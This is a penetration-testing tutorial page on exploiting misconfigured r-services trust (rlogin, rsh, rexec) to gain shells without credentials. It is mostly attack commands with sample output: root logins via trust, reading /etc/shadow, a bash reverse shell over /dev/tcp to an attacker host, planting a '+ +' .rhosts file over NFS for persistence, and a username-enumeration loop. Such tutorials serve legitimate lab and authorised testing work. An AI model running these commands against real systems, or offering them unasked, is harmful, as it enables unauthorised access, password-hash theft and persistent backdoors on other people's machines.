Skip to content
HackIndex logo

HackIndex

R-Services Exploitation

4 min read Mar 30, 2026

R-services exploitation uses the trust configuration confirmed in trust misconfiguration assessment to obtain a shell without credentials. When + + or a broad host entry is in hosts.equiv or .rhosts, rsh and rlogin accept connections from your Kali machine without any authentication. The attack is trivial — the hard part is the prerequisite of reading the trust file, which usually comes from NFS, LFI, or another read path.

rlogin — Get Interactive Shell

When trust is confirmed, rlogin gives a full interactive shell. Try root first:

┌──(kali㉿kali)-[~]
└─$ sudo rlogin -l root $TARGET_IP 
Last login: Mon Mar 28 12:00:00 2026 from 10.10.14.5
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
Explain command
-l root Specifies the remote username to log in as (root).
$TARGET_IP Placeholder for the target host's IP address.
┌──(kali㉿kali)-[~]
└─$ sudo rlogin -l $USER $TARGET_IP
Explain command
-l $USER Specifies the remote username to log in as on the target host.
$TARGET_IP Placeholder for the target host's IP address to connect to.

If root does not work but a regular user does, check whether the user has sudo rights or other privilege escalation paths after landing the shell.

rsh — Non-Interactive Command Execution

rsh executes a single command and returns the output. Useful for quick enumeration without a full interactive shell:

┌──(kali㉿kali)-[~]
└─$ sudo rsh -l root $TARGET_IP id 
uid=0(root) gid=0(root) groups=0(root)
Explain command
-l root Specifies the remote username to log in as (root).
$TARGET_IP Placeholder for the target host's IP address.
id Remote command to execute, returns current user identity info.
┌──(kali㉿kali)-[~]
└─$ sudo rsh -l root $TARGET_IP 'cat /etc/shadow' 
root:$6$abc123$hashhere:18000:0:99999:7:::
Explain command
-l root Specifies the remote username to log in as (root).
$TARGET_IP Placeholder for the target host's IP address.
'cat /etc/shadow' Remote command executed on the target to read the shadow password file.
┌──(kali㉿kali)-[~]
└─$ sudo rsh -l root $TARGET_IP 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
Explain command
-l root Specifies the remote username to log in as (root).
$TARGET_IP Placeholder for the target host's IP address.
'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' Remote command: spawns interactive bash reverse shell to LHOST:LPORT.
$LHOST Placeholder for the attacker's listening IP address.
$LPORT Placeholder for the attacker's listening port number.

rexec — Command Execution with Credentials

rexec (port 512) accepts explicit credentials rather than using trust files. Use it when credentials are available but rsh/rlogin trust is not configured:

┌──(kali㉿kali)-[~]
└─$ rexec $TARGET_IP -l $USER -p $PASSWORD id 
uid=1000(user) gid=1000(user) groups=1000(user)
Explain command
$TARGET_IP Target host IP address to connect to via rexec.
-l $USER Specifies the remote username for authentication.
-p $PASSWORD Specifies the password for remote authentication.
id Remote command to execute on the target host.

rexec transmits credentials in plaintext — the password is visible on the network. This makes it both a credential exposure risk and an easy target for interception.

Plant .rhosts for Persistence

When you have write access to a home directory via NFS or another vector, plant a .rhosts file to enable future passwordless access:

┌──(kali㉿kali)-[~]
└─$ # Via NFS write access to /root
┌──(kali㉿kali)-[~]
└─$ mkdir /tmp/nfs_root && mount -t nfs $TARGET_IP:/root /tmp/nfs_root -o nolock
┌──(kali㉿kali)-[~]
└─$ echo '+ +' > /tmp/nfs_root/.rhosts
┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/nfs_root/.rhosts
┌──(kali㉿kali)-[~]
└─$ umount /tmp/nfs_root
Explain command
-t nfs Specifies the filesystem type to mount as NFS.
$TARGET_IP:/root Remote NFS export path on the target host to mount.
/tmp/nfs_root Local mount point directory for the remote NFS share.
-o nolock Disables NFS file locking, useful when lockd is unavailable.
600 Sets file permissions to owner read/write only on .rhosts.
┌──(kali㉿kali)-[~]
└─$ sudo rlogin -l root $TARGET_IP 
root@target:~#
Explain command
-l root Specifies the remote username to login as (root).
$TARGET_IP Placeholder for the target host's IP address.

Username Enumeration via Response Differences

When trust is not fully open, different accounts produce different error responses. Use this to build a valid username list:

┌──(kali㉿kali)-[~]
└─$ for user in root admin user alice bob www-data service; do echo -n "$user: "; sudo rsh -l $user $TARGET_IP id 2>&1 | head -1; done 
root: uid=0(root) gid=0(root)
admin: Permission denied.
alice: uid=1001(alice) gid=1001(alice)
bob: Login incorrect.
www-data: Permission denied.

References